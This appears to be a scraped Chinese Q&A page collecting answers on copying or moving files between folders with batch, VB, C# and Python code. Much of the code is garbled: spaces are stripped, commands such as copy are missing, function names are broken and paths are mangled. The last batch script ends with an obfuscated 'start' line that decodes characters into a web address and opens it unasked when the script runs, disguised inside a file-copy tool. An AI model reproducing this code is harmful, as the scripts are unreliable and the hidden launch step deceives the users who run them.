⑴ 求每次從某個有多個文本的文件夾下復制一個文本到其他文件夾的bat
不清楚你的實際文件/情況,僅以問題中的說明及猜測為據;以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI
@echooff&cd/d"%~dp0"
rem每運行一次bat將一個指定文件夾里的一個txt文件剪切/移動到另一個文件夾里
set#=Anyquestion&set_=WX&set$=Q&set/az=0x53b7e0b4
title%#%+%$%%$%/%_%%z%
set"oldfolder=C:a"
set"newfolder=D:"
ifnotexist"%oldfolder%"(echo;"%oldfolder%"notfound&goto:end)
ifnotexist"%newfolder%"md"%newfolder%"
for/f"delims="%%ain('dir/a-d-h/b"%oldfolder%*.txt"')do(
echo;"%oldfolder%\%%~nxa"--^>"%newfolder%"
move/y"%oldfolder%\%%~nxa""%newfolder%"
goto:end
)
:end
echo;%#%+%$%%$%/%_%%z%
pause
exit
⑵ 批處理將含有某字元的文件,批量復制到另一個文件夾
不清楚你的實際文件/情況,僅以問題中的樣例/說明為據;以下代碼復制粘貼到記事本,另存為xx.bat
@echo off
rem 將一個指定文件夾里名稱中包含有特定格式的當天日期字元串的文件拷貝/復制到另一個指定文件夾里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
for /f "tokens=2 delims==." %%a in ('wmic OS get LocalDateTime /value^|find "="') do set "now=%%a"
set "today=%now:~,4%_%now:~4,2%_%now:~6,2%"
echo;%today%
"C:\*%today%*.xls" "D:\"
echo;%#% +%$%%$%/%@% %z%
pause
exit
⑶ 批處理用硬碟里搜索所有指定的一個或者多個文件夾復制到另一個指定的文件夾
不清楚你的實際文件/情況,僅以問題中的樣例/說明為據;以下代碼復制粘貼到記事本,另存為xx.bat,編碼選ANSI
cls&echo off
rem 全盤查找指定名稱文件夾並拷貝/復制到一個新的指定目錄里
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
set "newfolder=D:\backup"
if not exist "%newfolder%" md "%newfolder%"
if "%newfolder:~-1%" equ "\" set "newfolder=%newfolder:~,-1%"
for %%a in (Z Y X W V U T S R Q P O N M L K J I H G F E D C B A) do (
if exist %%a:\ (
pushd %%a:
echo;%%a: searching……
for /f "delims=" %%b in ('dir /ad-h/b/s "public" 2^>nul') do (
if exist "%%b\data" (
setlocal enabledelayedexpansion
set "tmpfolder=%%b\data"
if "!tmpfolder:%newfolder%=!" equ "!tmpfolder!" (
if not exist "%newfolder%\!tmpfolder::=!" md "%newfolder%\!tmpfolder::=!"
echo;"!tmpfolder!" --^> "%newfolder%\!tmpfolder::=!"
)
endlocal
)
)
popd
)
)
echo;%#% +%$%%$%/%@% %z%
pause
exit
⑷ 怎樣用VB代碼將一個文件夾下的TXT文件全部移到另一文件夾移完後再對同一目錄下另一文件夾執行此操作。
vb里有個dir(路徑)函數
直接用它就可以將路徑下的所有文件輸出到一個string類型的變數中
然後就可以用file將文件復制到指定目錄
然後再用kill文件刪除原文件,就實現了文件的移動
再也可以調用windows
api來完成
⑸ 用C#代碼把文件從一個文件拷到另一個文件夾
TextBox改成你的路徑
//定義一個文件流,用於讀取原文件
FileStream
fs
=
new
FileStream(this.textBox1
.Text
,FileMode.Open
);
//定義內存緩沖區
byte
[]buffer=new
byte
[(int)fs.Length
];
//將文件讀入到內存緩沖區中
fs.Read(buffer
,0,buffer
.Length
);
fs.Close();
//定義一個文件流,用於將緩沖區中的文件流寫入文件
FileStream
fs1
=
new
FileStream(this.textBox2
.Text
,FileMode.Create
);
//寫入文件
fs1.Write(buffer
,0,buffer
.Length
);
fs1.Close();
⑹ 用BAT把一個文件夾復制到另一個文件夾內的命令怎麼寫
1、首先打開電腦點擊滑鼠右鍵選擇新建,再選擇文本文檔,在電腦上新建一個文本文檔。
⑺ python 怎麼將輸入目錄內的文件拷貝至另一個目錄的同名文件夾
這是最近寫的一個類似代碼,你拿去改改
import shutil
import os
import logging
import sys
logger = logging.getLogger(__name__)
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
def cp_or_mv2(src_file, des_dir, is_):
print(src_file, des_dir)
if os.path.isfile(src_file):
logger.info(f'from file {src_file}')
if is_:
shutil.2(src_file, des_dir)
logger.info(f' to {des_dir}')
else:
des_file = os.path.join(des_dir, src_file)
shutil.move(src_file, des_file)
logger.info(f'move to {des_file}')
else:
logger.info(f'from dir {src_file}')
des_dir_level1 = os.path.join(des_dir, src_file)
shutil.tree(src_file, des_dir_level1, dirs_exist_ok=True)
logger.info(f'to {des_dir_level1}')
if not is_:
shutil.rmtree(src_file)
logger.info(f'deleted {src_file}')
def process_files_in_txt(txt_file, src_dir, des_dir, is_=True):
os.chdir(src_dir)
with open(txt_file, 'r', encoding='utf8', errors='ignore') as f:
for line in f.readlines():
src_file = line.strip()
# logger.info(src_file)
if os.path.exists(src_file):
cp_or_mv2(src_file, des_dir, is_)
else:
logger.warning(f'{src_file} missing!')
if __name__ == '__main__':
process_files_in_txt(r"D:\D\需要拷貝.txt", # 哪些文件(夾)
r"D:\D\Desktop", # 從哪個文件夾
r"D:\D\新建文件夾", # 到哪個文件夾
is_=False) # True復制,False剪切
⑻ 怎麼用bat復制指定的一個文件到指定文件夾,並重命名
腳本保存時的編碼務必設為ANSI,您包含文件名的文件列表文本,編碼也要使用ANSI,否則中文字元會出現亂碼現象,從而導致腳本執行報錯。
@echooff&title批量拷貝文件到指定目錄,並根據列表重命名By依夢琴瑤
cd/d"%~dp0"
::設置源文件完整路徑,當前目錄可只寫相對路徑
setSrcFile=C:.xlsx
::設置目標目錄完整路徑,當前目錄可只寫相對路徑
setTgtFolder=C:
::設置列表文件完整路徑,當前目錄可只寫相對路徑
setFileLst=C:.txt
ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含後綴名,那麼請在下方的%%~a後面添加.xlsx後綴名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"